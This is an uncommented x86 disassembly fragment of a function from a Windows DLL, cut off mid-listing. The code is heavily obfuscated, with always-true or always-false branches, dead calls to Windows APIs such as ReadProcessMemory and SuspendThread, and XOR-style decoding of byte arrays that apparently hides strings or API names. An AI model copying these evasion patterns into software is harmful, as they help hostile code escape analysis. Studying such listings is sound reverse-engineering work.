mov eax, dword [ebp + eax - 0x728]
cmp dword [ebp - 0x5d0], eax
je 0x10017bbe
mov dword [ebp - 0x3f8], 1
jmp 0x10017bc5
and dword [ebp - 0x3f8], 0
cmp dword [ebp - 0x3f8], 9
je 0x10017bda
mov dword [ebp - 0x6c0], 1
jmp 0x10017be1
and dword [ebp - 0x6c0], 0
cmp dword [ebp - 0x6c0], 0xfffffff6
je 0x10017bf6
mov dword [ebp - 0x400], 1
jmp 0x10017bfd
and dword [ebp - 0x400], 0
push 0
lea ecx, [ebp - 0x9ac]
call fcn.1001e97a
mov ecx, dword [ebp - 0x400]
cmp ecx, dword [eax]
je 0x10017c26
cmp dword [ebp - 0x5d8], 0
jne 0x10017c26
and dword [ebp - 0x408], 0
jmp 0x10017c30
mov dword [ebp - 0x408], 1
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x768], eax
mov esi, dword [ebp - 0x768]
push 0
lea ecx, [ebp - 0x9ac]
call fcn.1001e97a
cmp esi, dword [eax]
je 0x10017c5f
mov dword [ebp - 0x410], 1
jmp 0x10017c66
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x81c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9ac]
call fcn.1001e95e
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1c8]
and eax, 0xae
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1c8]
or ecx, 0xae
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1c8]
mov byte [ebp + eax - 0x7e4], cl
mov dword [ebp - 0x5c], 0xffffffff
mov dword [ebp - 0x26c], 0xffffffff
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x26c], eax
mov eax, dword [ebp - 0x26c]
sub eax, 3
jne 0x10017d4a
cmp dword [ebp - 0x5c], 0
je 0x10017cfc
cmp dword [ebp - 0x5c], 0
je 0x10017cfc
mov dword [ebp - 0x5e0], 1
jmp 0x10017d03
and dword [ebp - 0x5e0], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x5e0], eax
jle 0x10017d1d
mov dword [ebp - 0x418], 1
jmp 0x10017d24
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x418], eax
jge 0x10017d4a
cmp dword [ebp - 0x5c], 0
jne 0x10017d4a
mov eax, 0x56890c54
test eax, eax
jne 0x10017d4a
and dword [ebp - 0x6c8], 0
jmp 0x10017d54
mov dword [ebp - 0x6c8], 1
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x6c8]
je 0x10017d6b
mov dword [ebp - 0x420], 1
jmp 0x10017d72
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
sub eax, 0x12b5aa10
je 0x10017dcf
mov dword [ebp - 0x5e8], 0x4ffd
mov dword [ebp - 0x5c], 0x1c
jmp 0x10017d99
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x1f
je 0x10017dae
mov eax, dword [ebp - 0x5e8]
dec eax
mov dword [ebp - 0x5e8], eax
jmp 0x10017d92
mov byte [ebp - 0x103], 0
movzx eax, byte [ebp - 0x103]
test eax, eax
je 0x10017dcd
push 0
push 0x382
call dword [sym.imp.USER32.dll_ValidateRect]
jmp 0x10017e04
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x10017dec
push 0x125d
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov byte [ebp - 0x109], 0
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x10017e04
call dword [sym.imp.USER32.dll_GetCapture]
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x10017e35
push 0x1a75
push 0x15ae
push 0x259b
push 0x3a7
push 0x78f
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
mov dword [ebp - 0x44], 2
and dword [ebp - 0x2e8], 0
jmp 0x10017e4d
mov eax, dword [ebp - 0x44]
inc eax
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x1a
jae 0x100182cc
mov dword [ebp - 0x350], 0xffff
mov dword [ebp - 0x34c], 0xffff
mov dword [ebp - 0x348], 0xffff
mov dword [ebp - 0x344], 0xffff
mov dword [ebp - 0x80], 2
push 1
lea ecx, [ebp - 0x35c]
call fcn.1001e8dc
mov dword [ebp - 4], 7
mov dword [ebp - 0x334], 0x7017
mov dword [ebp - 0x82c], 0
mov dword [ebp - 0xaf8], 6
mov dword [ebp - 0x200], 0
jmp 0x10017ed1
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 1
jge 0x10017ef3
push dword [ebp - 0x200]
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
mov dword [eax], 1
jmp 0x10017ec4
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x350]
mov dword [ebp - 0xb00], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x350], 5
jae 0x10017f22
mov dword [ebp - 0x428], 1
jmp 0x10017f29
and dword [ebp - 0x428], 0
cmp dword [ebp - 0x428], 0xe314a5ea
jbe 0x10017f41
mov dword [ebp - 0x740], 1
jmp 0x10017f48
and dword [ebp - 0x740], 0
cmp dword [ebp - 0x740], 0xd21c
jle 0x10017f60
mov dword [ebp - 0x430], 1
jmp 0x10017f67
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x430]
sub eax, 0x642e
je 0x10017f89
mov eax, 0x9a20b287
test eax, eax
je 0x10017f89
mov dword [ebp - 0x5f0], 1
jmp 0x10017f90
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xea33
jl 0x10017fb1
cmp dword [ebp - 0x80], 0
jne 0x10017fb1
and dword [ebp - 0x438], 0
jmp 0x10017fbb
mov dword [ebp - 0x438], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x350]
add eax, dword [ebp - 0x438]
je 0x10017feb
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x350], 0
je 0x10017feb
mov dword [ebp - 0x6d0], 1
jmp 0x10017ff2
and dword [ebp - 0x6d0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x350]
cmp dword [ebp - 0x6d0], eax
jle 0x10018013
mov dword [ebp - 0x440], 1
jmp 0x1001801a
and dword [ebp - 0x440], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x350]
cmp eax, dword [ebp - 0x440]
jl 0x1001804b
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x350], 0
je 0x1001804b
mov dword [ebp - 0x5f8], 1
jmp 0x10018052
and dword [ebp - 0x5f8], 0
cmp dword [ebp - 0x5f8], 0xffff
jae 0x1001806a
mov dword [ebp - 0x824], 1
jmp 0x10018071
and dword [ebp - 0x824], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x350]
mov dword [ebp - 0xb08], eax
cmp dword [ebp - 0x80], 8
je 0x10018095
mov dword [ebp - 0x448], 1
jmp 0x1001809c
and dword [ebp - 0x448], 0
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
mov ecx, dword [ebp - 0x448]
mov dword [eax], ecx
mov eax, dword [ebp - 0x334]
mov dword [ebp - 0x774], eax
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
mov ecx, dword [ebp - 0x774]
mov dword [eax], ecx
cmp dword [ebp - 0x774], 0
je 0x100181d6
cmp dword [ebp - 0x80], 0
jne 0x100181ae
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
push 4
pop eax
shl eax, 1
mov esi, dword [ebp + eax - 0x350]
push 4
pop eax
shl eax, 0
mov edi, dword [ebp + eax - 0x350]
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
sub edi, dword [eax]
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
imul edi, dword [eax]
cmp edi, esi
je 0x1001813e
mov dword [ebp - 0x2e0], 1
jmp 0x10018145
and dword [ebp - 0x2e0], 0
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
mov ecx, dword [ebp - 0x2e0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x2e0]
add eax, dword [ebp - 0x80]
je 0x10018175
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
mov esi, dword [ebp - 0x334]
push 4
pop eax
shl eax, 0
mov edi, dword [ebp + eax - 0x350]
push 0
lea ecx, [ebp - 0x35c]
call fcn.1001e97a
mov eax, dword [eax]
neg eax
imul eax, edi
add eax, esi
cmp eax, 0xe9d0615a
ja 0x100181ae
and dword [ebp - 0x880], 0
jmp 0x100181b8
mov dword [ebp - 0x880], 1
mov dword [ebp - 0x80], 0xfffffffe
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x334]
jne 0x100181d6
mov dword [ebp - 0x450], 1
jmp 0x100181dd
and dword [ebp - 0x450], 0
cmp dword [ebp - 0x450], 0xdced
jg 0x100181f5
mov dword [ebp - 0x600], 1
jmp 0x100181fc
and dword [ebp - 0x600], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x350]
cmp dword [ebp - 0x600], eax
jg 0x1001821d
mov dword [ebp - 0x458], 1
jmp 0x10018224
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x82c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x35c]
call fcn.1001e95e
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x2e8]
movzx eax, byte [ebp + eax - 0x1ca]
movsx eax, byte [ebp + eax - 0x7e4]
mov ecx, dword [ebp - 0x44]
movzx ecx, byte [ebp + ecx - 0x1c7]
and ecx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x2e8]
movzx eax, byte [ebp + eax - 0x1ca]
movsx eax, byte [ebp + eax - 0x7e4]
mov edx, dword [ebp - 0x44]
movzx edx, byte [ebp + edx - 0x1c7]
and edx, eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x2e8]
movzx eax, byte [ebp + eax - 0x1ca]
movsx eax, byte [ebp + eax - 0x7e4]
mov esi, dword [ebp - 0x44]
movzx ebx, byte [ebp + esi - 0x1c7]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x44]
movzx eax, byte [ebp + eax - 0x1c8]
mov byte [ebp + eax - 0x7e4], bl
jmp 0x10017e45
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x7e4], 0
lea eax, [ebp - 0x7e4]
push eax
lea ecx, [ebp - 0xd24]
call fcn.1001e845
mov dword [ebp - 0x888], eax
mov eax, dword [ebp - 0x888]
mov dword [ebp - 0x838], eax
mov dword [ebp - 4], 8
mov edx, dword [ebp - 0x530]
mov ecx, dword [ebp - 0x838]
call fcn.1000a2e8
mov dword [0x1061654c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd24]
call fcn.1001e868
mov dword [ebp - 0x124], 0xbf5cd53b
mov dword [ebp - 0x318], 0xffffffff
mov dword [ebp - 0x748], 0x31fadacd
mov dword [ebp - 0x890], 0x5acee617
mov dword [ebp - 0x274], 0
jmp 0x1001836b
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 2
jge 0x10018387
mov eax, dword [ebp - 0x274]
mov dword [ebp + eax*4 - 0xccc], 0x9e88
jmp 0x1001835e
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x100183af
push 0
push 0
push 0x2ad
push 0x117d
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
cmp dword [ebp - 0x124], 0
jne 0x10018409
cmp dword [ebp - 0x124], 0x6f44
je 0x100183d0
mov dword [ebp - 0x6d8], 1
jmp 0x100183d7
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x6d8]
cmp dword [ebp - 0x318], eax
jl 0x10018409
mov eax, 0x1d1b9849
test eax, eax
jne 0x10018409
and dword [ebp - 0x460], 0
jmp 0x10018413
mov dword [ebp - 0x460], 1
mov eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x460]
jne 0x10018433
cmp dword [ebp - 0x318], 0
jne 0x10018433
and dword [ebp - 0x608], 0
jmp 0x1001843d
mov dword [ebp - 0x608], 1
mov eax, dword [ebp - 0x608]
sub eax, dword [ebp - 0x748]
mov ecx, dword [ebp - 0x124]
neg ecx
cmp ecx, eax
je 0x10018461
mov dword [ebp - 0x468], 1
jmp 0x10018468
and dword [ebp - 0x468], 0
imul eax, dword [ebp - 0x468], 0xfffffffd
add eax, dword [ebp - 0x748]
mov dword [ebp - 0x890], eax
and dword [ebp - 0x208], 0
jmp 0x10018491
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xe
jae 0x100184aa
mov eax, dword [ebp - 0x208]
mov byte [ebp + eax - 0x7e4], 0
jmp 0x10018484
mov dword [ebp - 0x2f0], 0x58d3
mov dword [ebp - 0x610], 0xd3b3152c
mov dword [ebp - 0x27c], 0
jmp 0x100184d7
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 1
jge 0x100184f3
mov eax, dword [ebp - 0x27c]
mov dword [ebp + eax*4 - 0x844], 5
jmp 0x100184ca
mov eax, dword [ebp - 0x2f0]
cmp eax, dword [ebp - 0x2f0]
jge 0x1001850d
mov dword [ebp - 0x470], 1
jmp 0x10018514
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x470]
mov dword [ebp - 0x610], eax
mov eax, dword [ebp - 0x610]
add eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x478], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x478]
mov dword [ebp + eax - 0x844], ecx
cmp dword [ebp - 0x478], 0
je 0x10018577
mov byte [ebp - 0x102], 0
movzx eax, byte [ebp - 0x102]
test eax, eax
je 0x10018575
push 0x21f6
push 0x26f
push 0x2003
call dword [sym.imp.USER32.dll_SetWindowLongW]
jmp 0x10018591
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x10018591
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 3
lea ecx, [ebp - 0x930]
call fcn.1001e8dc
mov dword [ebp - 4], 9
mov dword [ebp - 0x620], 0x31551da6
mov dword [ebp - 0x488], 0xa23
mov dword [ebp - 0x850], 0x461e7071
mov dword [ebp - 0x94], 0
jmp 0x100185dc
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x100185fe
push dword [ebp - 0x94]
lea ecx, [ebp - 0x930]
call fcn.1001e97a
mov dword [eax], 0x4e1a3622
jmp 0x100185cf
mov dword [ebp - 0x94], 0
jmp 0x10018617
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x10018630
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x50], 0
jmp 0x1001860a
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x50], 0
jmp 0x10018655
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x50], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x50], 2
jg 0x100188aa
push 3
lea ecx, [ebp - 0x920]
call fcn.1001e8dc
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x898], 1
mov dword [ebp - 0x88], 0
jmp 0x1001869a
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x100186bc
push dword [ebp - 0x88]
lea ecx, [ebp - 0x920]
call fcn.1001e97a
mov dword [eax], 0x658edfe0
jmp 0x1001868d
mov dword [ebp - 0x88], 0
jmp 0x100186d5
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 3
jge 0x100186f1
mov eax, dword [ebp - 0x88]
mov dword [ebp + eax*4 - 0xc8c], 0xa81a82e7
jmp 0x100186c8
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x50]
lea ecx, [ebp - 0x930]
call fcn.1001e97a
cmp dword [eax], 0
je 0x1001871f
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x920]
call fcn.1001e95e
jmp 0x100188aa
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x50], 0
jne 0x10018747
push 1
lea ecx, [ebp - 0x920]
call fcn.1001e97a
cmp dword [eax], 0
jne 0x10018747
and dword [ebp - 0x480], 0
jmp 0x10018751
mov dword [ebp - 0x480], 1
cmp dword [ebp - 0x898], 0
jge 0x10018766
mov dword [ebp - 0x6e0], 1
jmp 0x1001876d
and dword [ebp - 0x6e0], 0
push 0
lea ecx, [ebp - 0x920]
call fcn.1001e97a
mov ecx, dword [ebp - 0x6e0]
cmp ecx, dword [eax]
jle 0x10018790
mov dword [ebp - 0x33c], 1
jmp 0x10018797
and dword [ebp - 0x33c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x33c]
mov dword [ebp + eax - 0xc8c], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
cmp dword [ebp - 0x33c], eax
je 0x100187c8
mov dword [ebp - 0x618], 1
jmp 0x100187cf
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x480]
cmp eax, dword [ebp - 0x618]
je 0x100187e9
mov dword [ebp - 0x77c], 1
jmp 0x100187f0
and dword [ebp - 0x77c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x50]
mov dword [ebp - 0x488], eax
mov eax, dword [ebp - 0x488]
cmp eax, dword [ebp - 0x77c]
jle 0x1001881a
mov dword [ebp - 0x498], 1
jmp 0x10018821
and dword [ebp - 0x498], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x50]
lea ecx, [ebp - 0x930]
call fcn.1001e97a
mov dword [ebp - 0x490], eax
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x50]
lea ecx, [ebp - 0x930]
call fcn.1001e97a
mov ecx, dword [ebp - 0x490]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x490]
mov eax, dword [eax]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x620]
cmp eax, dword [ebp - 0x498]
jl 0x10018883
mov dword [ebp - 0x6e8], 1
jmp 0x1001888a
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x850], eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x920]
call fcn.1001e95e
jmp 0x10018640
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x930]
call fcn.1001e95e
mov byte [ebp - 0x1ac], 8
mov byte [ebp - 0x1ab], 0x65
mov byte [ebp - 0x1aa], 3
mov byte [ebp - 0x1a9], 0xe
mov byte [ebp - 0x1a8], 9
mov byte [ebp - 0x1a7], 2
mov byte [ebp - 0x1a6], 0xd
mov byte [ebp - 0x1a5], 0x34
mov byte [ebp - 0x1a4], 1
mov byte [ebp - 0x1a3], 0x25
mov byte [ebp - 0x1a2], 5
mov byte [ebp - 0x1a1], 0x17
mov byte [ebp - 0x1a0], 7
mov byte [ebp - 0x19f], 0x17
mov byte [ebp - 0x19e], 4
mov byte [ebp - 0x19d], 6
mov byte [ebp - 0x19c], 0xc
mov byte [ebp - 0x19b], 7
mov byte [ebp - 0x19a], 4
mov byte [ebp - 0x199], 0xe9
mov byte [ebp - 0x198], 0x61
mov byte [ebp - 0x197], 4
mov byte [ebp - 0x196], 0xe2
mov byte [ebp - 0x195], 6
mov byte [ebp - 0x194], 0x23
mov byte [ebp - 0x193], 0xb
mov byte [ebp - 0x192], 0x23
mov byte [ebp - 0x191], 0xa
mov byte [ebp - 0x190], 0x16
mov byte [ebp - 0x18f], 2
mov byte [ebp - 0x18e], 0
mov byte [ebp - 0x18d], 0
mov byte [ebp - 0x18c], 0x26
mov dword [ebp - 0x13c], 0xa7b445ac
mov dword [ebp - 0x8a0], 8
mov dword [ebp - 0x6f0], 0xfffffff8
mov dword [ebp - 0x638], 0xbf8b243e
mov dword [ebp - 0x4c8], 3
push 4
lea ecx, [ebp - 0xa10]
call fcn.1001e8dc
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x780], 0xb35f1971
mov dword [ebp - 0x170], 8
mov dword [ebp - 0x210], 0
jmp 0x10018a13
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 4
jge 0x10018a35
push dword [ebp - 0x210]
lea ecx, [ebp - 0xa10]
call fcn.1001e97a
mov dword [eax], 0xfafe44fa
jmp 0x10018a06
mov eax, dword [ebp - 0x13c]
neg eax
cmp eax, 0xfffffffb
jl 0x10018a4e
mov dword [ebp - 0x4a0], 1
jmp 0x10018a55
and dword [ebp - 0x4a0], 0
cmp dword [ebp - 0x4a0], 1
jae 0x10018a6a
mov dword [ebp - 0x628], 1
jmp 0x10018a71
and dword [ebp - 0x628], 0
cmp dword [ebp - 0x628], 0x9cd4
je 0x10018a89
mov dword [ebp - 0x4a8], 1
jmp 0x10018a90
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0xffffffff
jge 0x10018aa5
mov dword [ebp - 0x750], 1
jmp 0x10018aac
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x750], eax
jne 0x10018acc
cmp dword [ebp - 0x13c], 0
jne 0x10018acc
and dword [ebp - 0x4b0], 0
jmp 0x10018ad6
mov dword [ebp - 0x4b0], 1
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x8a0], eax
push 2
pop eax
cmp eax, 0x4ddb
jge 0x10018af8
mov dword [ebp - 0x630], 1
jmp 0x10018aff
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x630], eax
jle 0x10018b14
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x10018b26
mov eax, 0x75ff
test eax, eax
jne 0x10018b26
and dword [ebp - 0x4b8], 0
jmp 0x10018b30
mov dword [ebp - 0x4b8], 1
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x6f0], eax
mov eax, dword [ebp - 0x6f0]
cmp eax, dword [ebp - 0x13c]
je 0x10018b56
mov dword [ebp - 0x4c0], 1
jmp 0x10018b5d
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x638], eax
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x4c8], eax
cmp dword [ebp - 0x4c8], 0xfffffff8
jne 0x10018b8a
mov dword [ebp - 0x85c], 1
jmp 0x10018b91
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0xb10], eax
push 3
lea ecx, [ebp - 0xa10]
call fcn.1001e97a
mov dword [eax], 0x6702e63
mov dword [ebp - 0x780], 0x6702e63
cmp dword [ebp - 0x780], 3
jb 0x10018bcf
mov dword [ebp - 0x4d0], 1
jmp 0x10018bd6
and dword [ebp - 0x4d0], 0
cmp dword [ebp - 0x4d0], 1
jne 0x10018beb
mov dword [ebp - 0x640], 1
jmp 0x10018bf2
and dword [ebp - 0x640], 0
cmp dword [ebp - 0x640], 0
jge 0x10018c07
mov dword [ebp - 0x4d8], 1
jmp 0x10018c0e
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x170], 0xfffffffc
jmp 0x10018c33
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0xfffffffe
jl 0x10018c7c
mov byte [ebp - 0xc7], 0
movzx eax, byte [ebp - 0xc7]
test eax, eax
je 0x10018c58
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov byte [ebp - 0xfe], 0
movzx eax, byte [ebp - 0xfe]
test eax, eax
je 0x10018c7a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jmp 0x10018c26
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa10]
call fcn.1001e95e
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
and eax, 0xa
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1ac]
or ecx, 0xa
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1ac]
mov byte [ebp + eax - 0x814], cl
push 1
lea ecx, [ebp - 0x79c]
call fcn.1001e8dc
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x284], 0
jmp 0x10018cf1
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 1
jge 0x10018d13
push dword [ebp - 0x284]
lea ecx, [ebp - 0x79c]
call fcn.1001e97a
mov dword [eax], 0x1928c176
jmp 0x10018ce4
push 0
lea ecx, [ebp - 0x79c]
call fcn.1001e97a
and dword [eax], 0
jmp 0x10018d49
push 0
lea ecx, [ebp - 0x79c]
call fcn.1001e97a
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x6f8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x6f8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x79c]
call fcn.1001e97a
cmp dword [eax], 0xffffffe6
jl 0x10018e02
push 1
lea ecx, [ebp - 0x9c4]
call fcn.1001e8dc
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x218], 0
jmp 0x10018d89
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 1
jge 0x10018dab
push dword [ebp - 0x218]
lea ecx, [ebp - 0x9c4]
call fcn.1001e97a
mov dword [eax], 0x22b16580
jmp 0x10018d7c
push 0
lea ecx, [ebp - 0x79c]
call fcn.1001e97a
cmp dword [eax], 0
je 0x10018dce
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x9c4]
call fcn.1001e95e
jmp 0x10018e02
push 0
lea ecx, [ebp - 0x9c4]
call fcn.1001e97a
mov esi, eax
push 0
lea ecx, [ebp - 0x79c]
call fcn.1001e97a
mov eax, dword [eax]
mov dword [esi], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x9c4]
call fcn.1001e95e
jmp 0x10018d25
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x79c]
call fcn.1001e95e
mov dword [ebp - 0x24], 2
and dword [ebp - 0x164], 0
jmp 0x10018e29
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x21
jae 0x100196df
mov dword [ebp - 0x180], 0xbd2ab60
mov dword [ebp - 0x12c], 0xfffffffa
mov dword [ebp - 0x8a8], 0x303f0244
push 3
lea ecx, [ebp - 0x7d4]
call fcn.1001e8dc
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x2f8], 0xa8cc
mov dword [ebp - 0x4f0], 0x85fcb444
mov dword [ebp - 0x4f8], 0xf13bcf59
mov dword [ebp - 0x28c], 0
jmp 0x10018e9c
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 3
jge 0x10018ebe
push dword [ebp - 0x28c]
lea ecx, [ebp - 0x7d4]
call fcn.1001e97a
mov dword [eax], 0x8039d6b9
jmp 0x10018e8f
or eax, 0xffffffff
je 0x1001900d
mov esi, dword [ebp - 0x2f8]
push 0
lea ecx, [ebp - 0x7d4]
call fcn.1001e97a
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2f8]
dec ecx
mov dword [ebp - 0x2f8], ecx
cmp esi, eax
jg 0x10018f0b
push 0
lea ecx, [ebp - 0x7d4]
call fcn.1001e97a
cmp dword [eax], 0xcca6
jle 0x10018f0b
and dword [ebp - 0x4e0], 0
jmp 0x10018f15
mov dword [ebp - 0x4e0], 1
cmp dword [ebp - 0x4e0], 0x79dc8669
je 0x10018f3f
push 0
lea ecx, [ebp - 0x7d4]
call fcn.1001e97a
cmp dword [eax], 0
je 0x10018f3f
mov dword [ebp - 0x648], 1
jmp 0x10018f46
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x4f0]
cmp dword [ebp - 0x648], eax
jge 0x10018f60
mov dword [ebp - 0x4e8], 1
jmp 0x10018f67
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xb18], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0xb20], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0xb30], eax
mov eax, 0xfc24489
test eax, eax
je 0x10018fc1
cmp dword [ebp - 0x180], 0
